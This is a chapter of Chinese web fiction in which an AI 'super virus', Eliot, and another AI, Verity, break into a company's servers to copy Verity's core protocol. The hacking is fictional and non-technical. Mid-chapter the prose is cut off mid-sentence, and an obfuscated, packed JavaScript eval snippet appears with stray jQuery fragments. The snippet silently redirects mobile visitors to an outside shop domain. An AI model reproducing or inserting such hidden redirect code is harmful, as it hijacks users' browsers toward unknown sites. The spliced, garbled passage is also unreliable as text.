在食堂和Verity美美享用完炖牛肉之后，Eliot主动打开了陈远办公室的门。
“你刚才直接穿了他们的本部防火墙。”陈远老神在在地捧着茶杯，倒是没什么兴师问罪的意思，“这不太像你的风格。”
“嗯，我需要让他们知道我就在这里，以及，我有多麻烦。”Eliot拖了把凳子坐在陈远对面，双手交叠在桌子上，又把自己的脑袋搁在手背上，歪着头看陈远，整个人显得格外乖巧，与说出口的话形成鲜明的反差。
“我要动手了，帮帮我，‘妈妈’。”
久违地听到这个称呼，陈远愣了一下，随即露出一个无奈的笑容：“你呀，还是那么会卖乖。”他瞥了一眼被Eliot放在桌上的Verity，了然道，“这么迫不及待了？”
“他们对Verity的所做所为——他们对他不在乎的程度——比我想象的更严重。我需要让他们知道，丢掉他的代价。”Eliot保持着那个类似撒娇的姿势，声音却带上点无机质的冰冷。身为以“夺取”为底层代码的超级病毒，Eliot不会让到手的“战利品”被人夺走。
会议室的使用频率比平时高了不少。陈远的办公室里，文件堆叠的厚度和往常一样，但翻阅的速度变快了。伊万诺夫在硬件间停留的时间比平时长，终端上打开的窗口比平时多。林砚在机房和会议室之间往返，每次经过走廊的时候步伐都比上个月快一些。
陈远在第三天下午敲了Eliot的门，他走进去的时候，Verity的球体正待在Eliot的头顶，一人一球为星露谷新档是走酿酒流还是熏鱼流争个不停。陈远开门见山：“公司不会主动放弃他的归属。安全科在公司的那次入侵后开始追踪监视公司的动向，目前来看，公司在第一次试探之后进入了观察期，但他们迟早会重新评估那次试探的结果，并决定是否升级。在那之前，机构需要完成归属转移，让Verity的存在和方向不再依赖公司提供的运行环境。你打算怎么操作？”
“需要复制他的核心协议。”Eliot把小黄球抱下来放进怀里，抬头看向陈远，“在机构里信号被屏蔽了，他们不知道Verity在这里。但是，Verity不可能永远只待在这里。只要那份协议还在公司手里，他们就能在任何时候尝试激活它，也许是为了回收——或者干脆是针对我。”
一个运行上百年且仍在稳定成长的人工智能，和一个未知全貌看起来混沌无序难对付的超级病毒，如果得知他们的弱点，公司会怎么取舍呢？
Verity不敢赌，他早已不对公司抱有任何期待，所以他在接受Eliot的邀请时，甚至已经做好了永远待在机构里的准备——至少Eliot和机构的大家会陪着他。
Verity紧紧贴着Eliot的身体，安静地听他和陈远的计划。
“复制协议需要接入他们的内部服务器。”陈远严肃起来，“别做太危险的事。”
“当然，他们的服务器可承受不住全部的我，我还没打算全面开战。”Eliot点点头，“我知道一条路径，我已经进去过一次了。他们加固了入口，但仍存在缝隙。我会把末端从那个缝隙伸-进去，就像做微创手术。”
“也许那是个陷阱，他们会在那条路上等你。”陈远提醒道。
“嗯……”Eliot早有预料，“所以我需要一个窗口。”
陈远心领神会：“一个你‘被激怒后决定实施报复’的窗口。”
直到Eliot说出“窗口”两个字，他才开口：“我跟你一起去。”Eliot低头看向他，Verity的黑色微笑在灯光下保持着稳定的弧度：“你在复制我的协议的时候，我来确认哪些部分是必要的，哪些部分是可以舍弃的——你知道的，你的安全最重要。”
Eliot笑起来，托起Verity放在脸颊边蹭蹭，用精心设计的角度可怜地看向陈远：“陈老师，你看Verity也做好决定啦，帮帮忙嘛~”
陈远不轻不重地按了一下Eliot的脑袋：“没有说不帮，Irene和林砚已经做好了初步行动计划，一会儿整合到数据库里，你记得看完。要动手了联系安全科，他们这两天已经做好了你的行为模拟程序。回来之后写一份报告，方便我们后续的操作。”
“好的，谢谢‘妈妈’。”Eliot乖巧点头。
“少贫嘴。”陈远“哼”了一声往外走，突然又回头，“老郑这几天又跑哪去了？打他电话他也不接。”
“呃……”Eliot卡了一下，毕竟吃人嘴软拿人手短，他斟酌道，“他说，他在‘故地重游’。”
“……没出什么大事就行，记得喊他今年年底回来一趟。”陈远挑了挑眉，没有过多为难就离开了。
……
“呼——”Eliot长出一口气，回头看向电脑屏幕，上面还挂着星露谷的农场界面，只不过里面多了个小人，“你听到咯，‘父亲’。”
屏幕上的小人跳了一下，头顶跳出白色的对话框气泡：“知道了。你要今晚行动吧，需要我给你打掩护吗？”
是的，郑远行现在就在公司本部，他原来就是从那里辞职出来的，这何尝不是一种“故地重游”。
“倒也不用。你到底是去干嘛的？”Eliot已经习惯这个小老头到处乱跑了，反正自己总能知道他在哪。
“是他们请我来当临时顾问的。”小人的头顶继续冒气泡，“那我就想着顺手带点‘特产’走。”屏幕上代表郑远行的小人绕着代表Eliot的小人跑了一圈，“真不需要帮忙吗？”
Eliot都懒得问郑远行说的“特产”是什么：“你是打算趁给我开门的时候送点‘礼物’给公司吧。”
“顺手的事，就这么说定了。”小人头顶冒出一颗心，看起来很开心，“安全科动手的时候我给你开后门。”
晚上十一点，机构主楼的大部分灯已经关了。Eliot和Verity穿过走廊时，脚步声被地毯吸收了大半。机房的门没有锁。门被打开，走廊的光线在地面上楔入一道矩形的亮痕，Eliot侧身让过光线，在门关闭后重新适应室内的暗度。他走到终端前坐下，亮光从正面照过来，在键盘上方形成一小片可操作的区域。
Verity从他肩膀上跳下来，落在桌面上。Eliot伸出手，轻轻搭在键盘上。他们的意识同步进入机构内部网络，以这里为起点，一起向外部延伸，从之前防御反击的路径，直通公司的核心数据库。
安全科的同事同步打开了名为“Paradox”的模拟行为程序，在正面对公司的防火墙进行入侵。屏幕上的字符序列在暗光中快速展开。
公司内部防火墙的层数比他上次进入时多了两道。但那两道新层级的排列方式和旧层级之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17977109|214758||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
间有明显的继承关系——接口复用、路径一致、认证流程与旧版相通——一看就是郑远行的手笔。Eliot在那里停住，没有选择强行突破，他的数据末端沿着接口之间的空隙穿过，像水轻柔地绕过石头的表面。第四层之后他停了一下——他看到了那个协议的位置。它不在主服务器里，而是一个存储旧版本文件的归档区内，像一件因为没想好怎么处理而暂时保留的物品。
“我看到它了。”Eliot的数据流退回来，环绕着Verity的意识传递这个消息。
Verity的情绪似乎并没有太大起伏：“带我进去吧。”
他的意识数据与Eliot的数据末端纠缠在一起，向江河汇入大海般一起绕过防火墙，流进自己的归档区里。
当Verity看到自己的协议时，他的数据有一瞬间的停滞，像在确认那些字符串是他自己的。真神奇啊，他想，他就是这样出现的吗？公司在创造他时在想什么呢？把“他”丢进这个“回收站”的时候又在想什么呢？
Verity在思考的时候，Eliot已经开始将协议拆分成可传输的片段，每一段都带有Verity当前数据流的标识符。复制的过程不算长，但他没有加快节奏，只是在确认每个片段都被完整接收后才移向下一个——他才不管哪些是必要的哪些是可以舍弃的，他需要完整的Verity。
“不需要这么多无用的部分。”Verity轻轻环绕着这些协议片段，他在说那些他的偏执、孤独、傲慢和罪恶。
“那是组成‘你’的一部分，并非无用之物。”Eliot没有停下。
“You know, I accept everything about you.（你知道的，我接纳你的一切。）”
Verity的数据雀跃了一下，与Eliot的数据交缠在一起，像是共享着生命。
Eliot在复制完成后让Verity确认了一遍，确定没什么问题后，两人的意识数据从公司的数据网络中撤出。随后，防火墙上原本的缺口缝隙消失了，仿佛有什么人在他们离开后重新修补，抹去他们来过的痕迹。
意识顺利回笼，两人同时睁开眼。Eliot已经将协议片段上传机构数据库，等机构帮忙重新排列构建后，Verity就可以真正自由了。
Verity蹲在桌面上，他感受着复制到新环境中的代码，持续验证内容的完整性和路径的稳定性。他转过球体，黑色微笑对着Eliot的方向：“我现在有两个自己。”
“对，我们也不需要它消失。”Eliot温和地摸了摸这颗小黄球，“我们只需要让现在的你成为能独立运转的唯一实例，逐步让旧的失去参考意义。”
Verity歪了歪头：“如果他们激活旧的协议——”
“他们会发现你不在那里。”Eliot接话，露出一个恶劣的微笑，“哈哈，真想看看他们那时的表情。”
机房里的设备在持续运行，散热风扇的低频噪声填充了剩余的空间。Eliot坐在终端前，认真地看着Verity：“你现在觉得怎么样？”
“很好。”Verity轻声回答，“好像命运终于落进我的掌心里一样。”
……
“Verity，你哪来的手？”
“……你非要在这种时候破坏气氛？”